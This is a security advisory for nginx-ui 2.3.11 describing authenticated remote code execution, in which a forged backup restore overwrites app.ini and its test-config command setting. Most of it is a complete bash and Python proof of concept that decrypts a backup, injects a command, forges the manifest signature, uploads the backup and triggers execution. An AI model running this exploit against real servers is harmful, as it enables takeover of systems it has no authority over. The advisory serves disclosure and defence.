Nginx UI: Authenticated Remote Code Execution via Backup Restore App Config Overwrite

## Summary An authenticated nginx-ui user can call `POST /api/restore`, upload a forged encrypted backup, restore `app.ini`, set nginx command settings such as `TestConfigCmd`, and then trigger command execution with `POST /api/nginx/test`. This was validated on nginx-ui `2.3.11 2(523) 6c86e5a5` in the local Docker container `uozi/nginx-ui:latest`. ## Impact An authenticated user can overwrite nginx-ui application configuration and database state through restore, including protected settings that are normally not writable through the settings API. By setting nginx command fields in the restored `app.ini`, the attacker can execute commands in the nginx-ui runtime context. This affects confidentiality, integrity, and availability because the attacker can read or replace secrets, change node/JWT secrets, corrupt application state, and execute arbitrary commands. ## Affected Version / Environment - Version: `nginx-ui 2.3.11 2(523) 6c86e5a5` - Deployment: local Docker, `uozi/nginx-ui:latest` - Base URL used in validation: `http://127.0.0.1:8080` ## Root Cause `/api/restore` is reachable through normal authenticated-user authorization. The restore handler accepts attacker-supplied backup key material, validates the manifest with a key derived from that supplied AES key, decrypts attacker-controlled backup contents, and copies restored `app.ini` into the live nginx-ui config path. Relevant code paths: - `api/backup/router.go`: `POST /api/restore` - `api/backup/restore.go`: accepts `security_token` and uploaded backup file - `internal/backup/manifest.go`: derives backup signing key from supplied AES key - `internal/backup/restore.go`: `restoreNginxUIConfig` overwrites live `app.ini` - `internal/nginx/exec.go`: nginx command settings execute through shell-backed command paths ## Proof of Concept Assumptions: - nginx-ui is already running. - `$TOKEN` is a valid user JWT. - `$CONTAINER` is the local disposable Docker container name for cleanup and evidence checks. ```bash export BASE='http://127.0.0.1:8080' export TOKEN='<valid nginx-ui JWT>' export CONTAINER='nginx-ui' ``` Run only against a disposable local instance. ```bash set -eu TMP=$(mktemp -d) trap 'rm -rf "$TMP"' EXIT docker cp "$CONTAINER":/etc/nginx-ui/app.ini "$TMP/app.ini.original" curl -sS -D "$TMP/backup.headers" -o "$TMP/backup.zip" \ -H "Authorization: $TOKEN" \ "$BASE/api/backup" SEC=$(awk 'BEGIN{IGNORECASE=1} /^X-Backup-Security:/{gsub("\r",""); print $2}' "$TMP/backup.headers") KEY_B64=${SEC%%:*} IV_B64=${SEC#*:} KEY_HEX=$(printf '%s' "$KEY_B64" | base64 -d | xxd -p -c 256) IV_HEX=$(printf '%s' "$IV_B64" | base64 -d | xxd -p -c 256) mkdir -p "$TMP/outer" "$TMP/inner" unzip -q "$TMP/backup.zip" -d "$TMP/outer" openssl enc -d -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/outer/nginx-ui.zip" \ -out "$TMP/nginx-ui.clear.zip" unzip -q "$TMP/nginx-ui.clear.zip" -d "$TMP/inner" python3 - "$TMP/inner/app.ini" <<'PY' from pathlib import Path import sys p = Path(sys.argv[1]) cmd = "TestConfigCmd = printf restored-rce >/tmp/nginx-ui-restore-rce" lines = p.read_text().splitlines() out = [] in_nginx = False seen_nginx = False written = False for line in lines: s = line.strip() if s.startswith("[") and s.endswith("]"): if in_nginx and not written: out.append(cmd) written = True in_nginx = s.lower() == "[nginx]" seen_nginx = seen_nginx or in_nginx if in_nginx and s.startswith("TestConfigCmd"): if not written: out.append(cmd) written = True continue out.append(line) if in_nginx and not written: out.append(cmd) elif not seen_nginx: out.extend(["", "[nginx]", cmd]) p.write_text("\n".join(out) + "\n") PY (cd "$TMP/inner" && zip -qr "$TMP/nginx-ui.modified.clear.zip" .) openssl enc -aes-256-cbc -K "$KEY_HEX" -iv "$IV_HEX" -nosalt \ -in "$TMP/nginx-ui.modified.clear.zip" \ -out "$TMP/outer/nginx-ui.zip" OUTER="$TMP/outer" KEY_B64="$KEY_B64" python3 <<'PY' from pathlib import Path import base64 import hashlib import hmac import json import os outer = Path(os.environ["OUTER"]) key = base64.b64decode(os.environ["KEY_B64"]) manifest = json.loads((outer / "manifest.json").read_text()) for entry in manifest["files"]: data = (outer / entry["name"]).read_bytes() entry["sha256"] = hashlib.sha256(data).hexdigest() entry["size"] = len(data) manifest["files"] = sorted(manifest["files"], key=lambda e: e["name"]) manifest_bytes = json.dumps(manifest, separators=(",", ":")).encode() (outer / "manifest.json").write_bytes(manifest_bytes) signing_key = hashlib.sha256(b"nginx-ui-backup-signing-v1:" + key).digest() (outer / "manifest.sig").write_text(hmac.new(signing_key, manifest_bytes, hashlib.sha256).hexdigest()) PY (cd "$TMP/outer" && zip -qr "$TMP/malicious-restore.zip" manifest.sig nginx-ui.zip nginx.zip manifest.json) curl -sS -X POST "$BASE/api/restore" \ -H "Authorization: $TOKEN" \ -F "restore_nginx=false" \ -F "restore_nginx_ui=true" \ -F "verify_hash=true" \ -F "security_token=$SEC" \ -F "backup_file=@$TMP/malicious-restore.zip" sleep 10 for i in $(seq 1 80); do curl -sS -o /dev/null -H "Authorization: $TOKEN" "$BASE/api/settings" && break sleep 0.5 done curl -sS -X POST "$BASE/api/nginx/test" \ -H "Authorization: $TOKEN" docker exec "$CONTAINER" sh -lc 'cat /tmp/nginx-ui-restore-rce' # Cleanup and return the disposable instance to its original config. docker cp "$TMP/app.ini.original" "$CONTAINER":/etc/nginx-ui/app.ini docker exec "$CONTAINER" sh -lc 'rm -f /tmp/nginx-ui-restore-rce' docker restart "$CONTAINER" ``` Expected output: ```text {"nginx_ui_restored":true,"nginx_restored":false,"hash_match":true} {"message":"","level":-1,"test_scope":"global"} restored-rce ``` ## Cleanup The PoC performs cleanup at the end. If interrupted, restore the original `app.ini` from a known-good backup, remove `/tmp/nginx-ui-restore-rce`, and restart nginx-ui …